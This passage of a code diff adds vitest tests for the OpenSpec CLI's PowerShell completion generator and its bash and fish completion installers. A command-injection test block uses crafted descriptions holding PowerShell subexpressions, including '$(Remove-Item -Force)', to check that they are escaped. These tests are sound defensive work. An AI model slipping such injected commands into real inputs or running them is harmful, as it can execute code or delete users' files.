expect(script).toContain('zsh');
|
||||
expect(script).toContain('bash');
|
||||
expect(script).toContain('fish');
|
||||
expect(script).toContain('powershell');
|
||||
});
|
||||
|
||||
it('should not include path completion helpers (PowerShell handles natively)', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'path',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// PowerShell handles path completion natively, so we just check the command is present
|
||||
expect(script).toContain('"init"');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for changes', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function Get-OpenSpecChanges');
|
||||
expect(script).toContain('openspec __complete changes 2>$null');
|
||||
expect(script).toContain('-split');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for specs', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function Get-OpenSpecSpecs');
|
||||
expect(script).toContain('openspec __complete specs 2>$null');
|
||||
});
|
||||
|
||||
it('should escape double quotes in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with "quotes"',
|
||||
flags: [
|
||||
{
|
||||
name: 'flag',
|
||||
description: 'Special chars: "quotes"',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// PowerShell escapes double quotes by doubling them
|
||||
expect(script).toContain('""quotes""');
|
||||
});
|
||||
|
||||
it('should handle complex nested subcommands with flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'spec',
|
||||
description: 'Manage specs',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('"spec"');
|
||||
expect(script).toContain('"validate"');
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('--json');
|
||||
expect(script).toContain('Get-OpenSpecSpecs');
|
||||
});
|
||||
|
||||
it('should not emit trailing commas in @() arrays', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'config',
|
||||
description: 'Manage configuration',
|
||||
flags: [
|
||||
{
|
||||
name: 'scope',
|
||||
short: 's',
|
||||
description: 'Configuration scope',
|
||||
},
|
||||
],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'get',
|
||||
description: 'Get a config value',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// PowerShell array literals (@(...)) can't have a trailing comma on the last element.
|
||||
expect(script).not.toMatch(/\},\s*\r?\n\s*\)/);
|
||||
});
|
||||
|
||||
it('should handle empty command list', () => {
|
||||
const commands: CommandDefinition[] = [];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# PowerShell completion script');
|
||||
expect(script).toContain('$openspecCompleter = {');
|
||||
expect(script).toContain('Register-ArgumentCompleter');
|
||||
});
|
||||
|
||||
it('should handle commands with no flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'view',
|
||||
description: 'Display dashboard',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('"view"');
|
||||
expect(script).toContain('Display dashboard');
|
||||
});
|
||||
|
||||
it('should generate helper function that splits on tab character', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function Get-OpenSpecChanges');
|
||||
// PowerShell uses -split with \\t for tab character
|
||||
expect(script).toContain('-split');
|
||||
expect(script).toContain('[0]');
|
||||
});
|
||||
});
|
||||
|
||||
describe('security - command injection prevention', () => {
|
||||
it('should escape $() subexpressions in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test command $(Get-Process)',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should contain escaped version (backtick before $)
|
||||
expect(script).toContain('`$');
|
||||
// Should have backtick before $( to escape it
|
||||
expect(script).toMatch(/`\$\(Get-Process\)/);
|
||||
});
|
||||
|
||||
it('should escape backticks in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with `n newline escape',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape backticks (PowerShell escape character)
|
||||
expect(script).toContain('``');
|
||||
});
|
||||
|
||||
it('should escape dollar signs in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with $env:PATH variable',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape dollar signs
|
||||
expect(script).toContain('`$');
|
||||
});
|
||||
|
||||
it('should escape double quotes in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with "quotes"',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape double quotes (PowerShell string delimiter)
|
||||
expect(script).toContain('""');
|
||||
});
|
||||
|
||||
it('should handle multiple PowerShell metacharacters together', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Dangerous: $(Remove-Item -Force) `n $env:HOME "quoted"',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should contain escaped versions of dangerous patterns
|
||||
expect(script).toContain('`$'); // Escaped dollar signs
|
||||
expect(script).toContain('``'); // Escaped backticks
|
||||
expect(script).toContain('""'); // Escaped double quotes
|
||||
|
||||
// The escaped patterns should be present (backtick before $ and n)
|
||||
expect(script).toMatch(/`\$\(/); // `$( instead of $(
|
||||
expect(script).toMatch(/``n/); // ``n instead of `n
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,484 @@
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { randomUUID } from 'crypto';
|
||||
import { BashInstaller } from '../../../../src/core/completions/installers/bash-installer.js';
|
||||
|
||||
describe('BashInstaller', () => {
|
||||
let testHomeDir: string;
|
||||
let installer: BashInstaller;
|
||||
|
||||
beforeEach(async () => {
|
||||
// Create a temporary home directory for testing
|
||||
testHomeDir = path.join(os.tmpdir(), `openspec-bash-test-${randomUUID()}`);
|
||||
await fs.mkdir(testHomeDir, { recursive: true });
|
||||
installer = new BashInstaller(testHomeDir);
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
// Clean up test directory
|
||||
await fs.rm(testHomeDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('getInstallationPath', () => {
|
||||
it('should return standard bash-completion path', async () => {
|
||||
const result = await installer.getInstallationPath();
|
||||
|
||||
expect(result).toBe(path.join(testHomeDir, '.local', 'share', 'bash-completion', 'completions', 'openspec'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('backupExistingFile', () => {
|
||||
it('should return undefined when file does not exist', async () => {
|
||||
const nonExistentPath = path.join(testHomeDir, 'nonexistent.txt');
|
||||
const backupPath = await installer.backupExistingFile(nonExistentPath);
|
||||
|
||||
expect(backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should create backup when file exists', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.txt');
|
||||
await fs.writeFile(filePath, 'original content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
expect(backupPath).toContain('.backup-');
|
||||
|
||||
// Verify backup file exists and has correct content
|
||||
const backupContent = await fs.readFile(backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe('original content');
|
||||
});
|
||||
|
||||
it('should create backup with timestamp in filename', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.txt');
|
||||
await fs.writeFile(filePath, 'content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toMatch(/\.backup-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('install', () => {
|
||||
const testScript = '# Bash completion script for OpenSpec CLI\n_openspec_completion() {\n echo "test"\n}\n';
|
||||
|
||||
it('should install to bash-completion path', async () => {
|
||||
const result = await installer.install(testScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.installedPath).toBe(path.join(testHomeDir, '.local', 'share', 'bash-completion', 'completions', 'openspec'));
|
||||
|
||||
// Verify file was created with correct content
|
||||
const content = await fs.readFile(result.installedPath!, 'utf-8');
|
||||
expect(content).toBe(testScript);
|
||||
});
|
||||
|
||||
it('should create necessary directories if they do not exist', async () => {
|
||||
const result = await installer.install(testScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Verify directory structure was created
|
||||
const completionsDir = path.dirname(result.installedPath!);
|
||||
const stat = await fs.stat(completionsDir);
|
||||
expect(stat.isDirectory()).toBe(true);
|
||||
});
|
||||
|
||||
it('should backup existing file before overwriting', async () => {
|
||||
const targetPath = path.join(testHomeDir, '.local', 'share', 'bash-completion', 'completions', 'openspec');
|
||||
await fs.mkdir(path.dirname(targetPath), { recursive: true });
|
||||
await fs.writeFile(targetPath, 'old script');
|
||||
|
||||
const result = await installer.install(testScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.backupPath).toBeDefined();
|
||||
expect(result.backupPath).toContain('.backup-');
|
||||
|
||||
// Verify backup has old content
|
||||
const backupContent = await fs.readFile(result.backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe('old script');
|
||||
|
||||
// Verify new file has new content
|
||||
const newContent = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(newContent).toBe(testScript);
|
||||
});
|
||||
|
||||
it('should configure .bashrc when auto-config is enabled', async () => {
|
||||
const result = await installer.install(testScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.bashrcConfigured).toBe(true);
|
||||
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain('OpenSpec shell completions configuration');
|
||||
});
|
||||
|
||||
it('should include instructions when auto-config is disabled', async () => {
|
||||
const originalEnv = process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
process.env.OPENSPEC_NO_AUTO_CONFIG = '1';
|
||||
|
||||
const result = await installer.install(testScript);
|
||||
|
||||
expect(result.instructions).toBeDefined();
|
||||
expect(result.instructions!.join('\n')).toContain('.bashrc');
|
||||
expect(result.bashrcConfigured).toBe(false);
|
||||
|
||||
// Restore env
|
||||
if (originalEnv === undefined) {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
} else {
|
||||
process.env.OPENSPEC_NO_AUTO_CONFIG = originalEnv;
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle installation errors gracefully', async () => {
|
||||
// Create a temporary file and use its path as homeDir
|
||||
// This guarantees ENOTDIR when trying to create subdirectories (cross-platform)
|
||||
const blockingFile = path.join(testHomeDir, 'blocking-file');
|
||||
await fs.writeFile(blockingFile, 'blocking content');
|
||||
const invalidInstaller = new BashInstaller(blockingFile);
|
||||
|
||||
const result = await invalidInstaller.install(testScript);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toContain('Failed to install');
|
||||
});
|
||||
|
||||
it('should detect already-installed completion with identical content', async () => {
|
||||
// First installation
|
||||
const firstResult = await installer.install(testScript);
|
||||
expect(firstResult.success).toBe(true);
|
||||
|
||||
// Second installation with same script
|
||||
const secondResult = await installer.install(testScript);
|
||||
|
||||
expect(secondResult.success).toBe(true);
|
||||
expect(secondResult.message).toContain('already installed');
|
||||
expect(secondResult.message).toContain('up to date');
|
||||
expect(secondResult.backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should update completion when content differs', async () => {
|
||||
// First installation
|
||||
const firstScript = '# Bash completion v1\n_openspec_completion() {\n echo "version 1"\n}\n';
|
||||
const firstResult = await installer.install(firstScript);
|
||||
expect(firstResult.success).toBe(true);
|
||||
|
||||
// Second installation with different script
|
||||
const secondScript = '# Bash completion v2\n_openspec_completion() {\n echo "version 2"\n}\n';
|
||||
const secondResult = await installer.install(secondScript);
|
||||
|
||||
expect(secondResult.success).toBe(true);
|
||||
expect(secondResult.message).toContain('updated successfully');
|
||||
expect(secondResult.backupPath).toBeDefined();
|
||||
|
||||
// Verify new content was written
|
||||
const content = await fs.readFile(secondResult.installedPath!, 'utf-8');
|
||||
expect(content).toBe(secondScript);
|
||||
|
||||
// Verify backup has old content
|
||||
const backupContent = await fs.readFile(secondResult.backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe(firstScript);
|
||||
});
|
||||
|
||||
it('should handle paths with spaces in .bashrc config', async () => {
|
||||
// Create a test home directory with spaces
|
||||
const testHomeDirWithSpaces = path.join(os.tmpdir(), `openspec bash test ${randomUUID()}`);
|
||||
await fs.mkdir(testHomeDirWithSpaces, { recursive: true });
|
||||
const installerWithSpaces = new BashInstaller(testHomeDirWithSpaces);
|
||||
|
||||
try {
|
||||
const result = await installerWithSpaces.install(testScript);
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Check if .bashrc was created (when auto-config is enabled)
|
||||
const bashrcPath = path.join(testHomeDirWithSpaces, '.bashrc');
|
||||
try {
|
||||
const bashrcContent = await fs.readFile(bashrcPath, 'utf-8');
|
||||
// Verify the path is quoted in config
|
||||
const completionsDir = path.dirname(result.installedPath!);
|
||||
expect(bashrcContent).toContain(completionsDir);
|
||||
} catch {
|
||||
// .bashrc might not exist if auto-config was disabled
|
||||
}
|
||||
} finally {
|
||||
// Clean up
|
||||
await fs.rm(testHomeDirWithSpaces, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('uninstall', () => {
|
||||
const testScript = '# Bash completion script\n_openspec_completion() {}\n';
|
||||
|
||||
it('should remove installed completion script', async () => {
|
||||
// Install first
|
||||
await installer.install(testScript);
|
||||
|
||||
// Uninstall
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toContain('uninstalled successfully');
|
||||
|
||||
// Verify file is gone
|
||||
const targetPath = await installer.getInstallationPath();
|
||||
const exists = await fs.access(targetPath).then(() => true).catch(() => false);
|
||||
expect(exists).toBe(false);
|
||||
});
|
||||
|
||||
it('should return failure when not installed', async () => {
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.message).toContain('not installed');
|
||||
});
|
||||
|
||||
it('should remove .bashrc configuration', async () => {
|
||||
await installer.install(testScript);
|
||||
|
||||
const result = await installer.uninstall();
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Verify .bashrc markers are removed
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const exists = await fs.access(bashrcPath).then(() => true).catch(() => false);
|
||||
|
||||
if (exists) {
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
expect(content).not.toContain('# OPENSPEC:START');
|
||||
expect(content).not.toContain('# OPENSPEC:END');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('configureBashrc', () => {
|
||||
const completionsDir = '/test/.local/share/bash-completion/completions';
|
||||
|
||||
it('should create .bashrc with markers and config when file does not exist', async () => {
|
||||
const result = await installer.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain('# OpenSpec shell completions configuration');
|
||||
expect(content).toContain(completionsDir);
|
||||
});
|
||||
|
||||
it('should prepend markers and config when .bashrc exists without markers', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
await fs.writeFile(bashrcPath, '# My custom bash config\nalias ll="ls -la"\n');
|
||||
|
||||
const result = await installer.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain('# My custom bash config');
|
||||
expect(content).toContain('alias ll="ls -la"');
|
||||
|
||||
// Config should be before existing content
|
||||
const configIndex = content.indexOf('# OPENSPEC:START');
|
||||
const aliasIndex = content.indexOf('alias ll');
|
||||
expect(configIndex).toBeLessThan(aliasIndex);
|
||||
});
|
||||
|
||||
it('should update config between markers when .bashrc has existing markers', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const initialContent = [
|
||||
'# OPENSPEC:START',
|
||||
'# Old config',
|
||||
'if [ -d "/old/path" ]; then',
|
||||
' . "/old/path"',
|
||||
'fi',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'# My custom config',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(bashrcPath, initialContent);
|
||||
|
||||
const result = await installer.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(content).toContain('# OPENSPEC:START');
|
||||
expect(content).toContain('# OPENSPEC:END');
|
||||
expect(content).toContain(completionsDir);
|
||||
expect(content).not.toContain('# Old config');
|
||||
expect(content).not.toContain('/old/path');
|
||||
expect(content).toContain('# My custom config');
|
||||
});
|
||||
|
||||
it('should preserve user content outside markers', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const userContent = [
|
||||
'# My bash config',
|
||||
'export PATH="/custom/path:$PATH"',
|
||||
'',
|
||||
'# OPENSPEC:START',
|
||||
'# Old OpenSpec config',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'alias ls="ls -G"',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(bashrcPath, userContent);
|
||||
|
||||
const result = await installer.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(content).toContain('# My bash config');
|
||||
expect(content).toContain('export PATH="/custom/path:$PATH"');
|
||||
expect(content).toContain('alias ls="ls -G"');
|
||||
expect(content).toContain(completionsDir);
|
||||
expect(content).not.toContain('# Old OpenSpec config');
|
||||
});
|
||||
|
||||
it('should return false when OPENSPEC_NO_AUTO_CONFIG is set', async () => {
|
||||
const originalEnv = process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
process.env.OPENSPEC_NO_AUTO_CONFIG = '1';
|
||||
|
||||
const result = await installer.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(false);
|
||||
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const exists = await fs.access(bashrcPath).then(() => true).catch(() => false);
|
||||
expect(exists).toBe(false);
|
||||
|
||||
// Restore env
|
||||
if (originalEnv === undefined) {
|
||||
delete process.env.OPENSPEC_NO_AUTO_CONFIG;
|
||||
} else {
|
||||
process.env.OPENSPEC_NO_AUTO_CONFIG = originalEnv;
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle write permission errors gracefully', async () => {
|
||||
// Create a temporary file and use its path as homeDir
|
||||
// This guarantees ENOTDIR when trying to write .bashrc (cross-platform)
|
||||
const blockingFile = path.join(testHomeDir, 'blocking-file');
|
||||
await fs.writeFile(blockingFile, 'blocking content');
|
||||
const invalidInstaller = new BashInstaller(blockingFile);
|
||||
|
||||
const result = await invalidInstaller.configureBashrc(completionsDir);
|
||||
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('removeBashrcConfig', () => {
|
||||
it('should return true when .bashrc does not exist', async () => {
|
||||
const result = await installer.removeBashrcConfig();
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it('should return true when .bashrc exists but has no markers', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
await fs.writeFile(bashrcPath, '# My custom config\nalias ll="ls -la"\n');
|
||||
|
||||
const result = await installer.removeBashrcConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
// Content should be unchanged
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
expect(content).toBe('# My custom config\nalias ll="ls -la"\n');
|
||||
});
|
||||
|
||||
it('should remove markers and config when present', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const content = [
|
||||
'# My config',
|
||||
'',
|
||||
'# OPENSPEC:START',
|
||||
'# OpenSpec shell completions configuration',
|
||||
'if [ -d ~/.local/share/bash-completion/completions ]; then',
|
||||
' . ~/.local/share/bash-completion/completions/openspec',
|
||||
'fi',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'alias ll="ls -la"',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(bashrcPath, content);
|
||||
|
||||
const result = await installer.removeBashrcConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const newContent = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(newContent).not.toContain('# OPENSPEC:START');
|
||||
expect(newContent).not.toContain('# OPENSPEC:END');
|
||||
expect(newContent).not.toContain('OpenSpec shell completions configuration');
|
||||
expect(newContent).toContain('# My config');
|
||||
expect(newContent).toContain('alias ll="ls -la"');
|
||||
});
|
||||
|
||||
it('should preserve user content when removing markers', async () => {
|
||||
const bashrcPath = path.join(testHomeDir, '.bashrc');
|
||||
const content = [
|
||||
'export PATH="/custom:$PATH"',
|
||||
'',
|
||||
'# OPENSPEC:START',
|
||||
'# Config',
|
||||
'# OPENSPEC:END',
|
||||
'',
|
||||
'alias g="git"',
|
||||
].join('\n');
|
||||
|
||||
await fs.writeFile(bashrcPath, content);
|
||||
|
||||
const result = await installer.removeBashrcConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
|
||||
const newContent = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
expect(newContent).toContain('export PATH="/custom:$PATH"');
|
||||
expect(newContent).toContain('alias g="git"');
|
||||
expect(newContent).not.toContain('# OPENSPEC:START');
|
||||
});
|
||||
|
||||
it('should handle permission errors gracefully', async () => {
|
||||
const invalidInstaller = new BashInstaller('/root/invalid/path');
|
||||
const result = await invalidInstaller.removeBashrcConfig();
|
||||
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('constructor', () => {
|
||||
it('should use provided home directory', () => {
|
||||
const customInstaller = new BashInstaller('/custom/home');
|
||||
expect(customInstaller).toBeDefined();
|
||||
});
|
||||
|
||||
it('should use os.homedir() by default', () => {
|
||||
const defaultInstaller = new BashInstaller();
|
||||
expect(defaultInstaller).toBeDefined();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,321 @@
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { FishInstaller } from '../../../../src/core/completions/installers/fish-installer.js';
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { randomUUID } from 'crypto';
|
||||
|
||||
describe('FishInstaller', () => {
|
||||
let testHomeDir: string;
|
||||
let installer: FishInstaller;
|
||||
|
||||
beforeEach(async () => {
|
||||
testHomeDir = path.join(os.tmpdir(), `openspec-fish-test-${randomUUID()}`);
|
||||
await fs.mkdir(testHomeDir, { recursive: true });
|
||||
installer = new FishInstaller(testHomeDir);
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await fs.rm(testHomeDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('getInstallationPath', () => {
|
||||
it('should return standard fish completions path', () => {
|
||||
const result = installer.getInstallationPath();
|
||||
expect(result).toBe(path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish'));
|
||||
});
|
||||
|
||||
it('should use homeDir from constructor', () => {
|
||||
const customHome = '/custom/home';
|
||||
const customInstaller = new FishInstaller(customHome);
|
||||
const result = customInstaller.getInstallationPath();
|
||||
expect(result).toBe(path.join(customHome, '.config', 'fish', 'completions', 'openspec.fish'));
|
||||
});
|
||||
});
|
||||
|
||||
describe('backupExistingFile', () => {
|
||||
it('should return undefined when file does not exist', async () => {
|
||||
const nonExistentPath = path.join(testHomeDir, 'does-not-exist.fish');
|
||||
const backupPath = await installer.backupExistingFile(nonExistentPath);
|
||||
expect(backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should create backup with timestamp in filename', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.fish');
|
||||
await fs.writeFile(filePath, 'test content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
expect(backupPath).toMatch(/\.backup-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}/);
|
||||
});
|
||||
|
||||
it('should copy file content to backup', async () => {
|
||||
const filePath = path.join(testHomeDir, 'test.fish');
|
||||
const originalContent = '# Original fish completion script\nfunction test_func\nend';
|
||||
await fs.writeFile(filePath, originalContent);
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
const backupContent = await fs.readFile(backupPath!, 'utf-8');
|
||||
expect(backupContent).toBe(originalContent);
|
||||
});
|
||||
|
||||
it('should create backup next to original file', async () => {
|
||||
const filePath = path.join(testHomeDir, 'subdir', 'test.fish');
|
||||
await fs.mkdir(path.dirname(filePath), { recursive: true });
|
||||
await fs.writeFile(filePath, 'content');
|
||||
|
||||
const backupPath = await installer.backupExistingFile(filePath);
|
||||
|
||||
expect(backupPath).toBeDefined();
|
||||
expect(path.dirname(backupPath!)).toBe(path.dirname(filePath));
|
||||
});
|
||||
});
|
||||
|
||||
describe('install', () => {
|
||||
const mockCompletionScript = `# Fish completion script for OpenSpec CLI
|
||||
function __fish_openspec
|
||||
echo "test"
|
||||
end
|
||||
|
||||
complete -c openspec -a 'init' -d 'Initialize OpenSpec'
|
||||
`;
|
||||
|
||||
it('should install completion script for the first time', async () => {
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script installed successfully for Fish');
|
||||
expect(result.installedPath).toBe(path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish'));
|
||||
expect(result.backupPath).toBeUndefined();
|
||||
expect(result.instructions).toHaveLength(2);
|
||||
expect(result.instructions![0]).toContain('Fish automatically loads completions');
|
||||
expect(result.instructions![1]).toContain('Completions are available immediately');
|
||||
});
|
||||
|
||||
it('should create parent directories if they do not exist', async () => {
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const dirExists = await fs.access(path.dirname(targetPath)).then(() => true).catch(() => false);
|
||||
expect(dirExists).toBe(true);
|
||||
});
|
||||
|
||||
it('should write completion script content correctly', async () => {
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
const content = await fs.readFile(targetPath, 'utf-8');
|
||||
expect(content).toBe(mockCompletionScript);
|
||||
});
|
||||
|
||||
it('should detect when already installed with same content', async () => {
|
||||
// First installation
|
||||
await installer.install(mockCompletionScript);
|
||||
|
||||
// Second installation with same content
|
||||
const result = await installer.install(mockCompletionScript);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.message).toBe('Completion script is already installed (up to date)');
|
||||
expect(result.instructions![0]).toContain('already installed and up to date');
|
||||
expect(result.backupPath).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should update when content is different', async () => {
|
||||
// Initial installation
|
||||
await installer.install(mockCompletionScript);
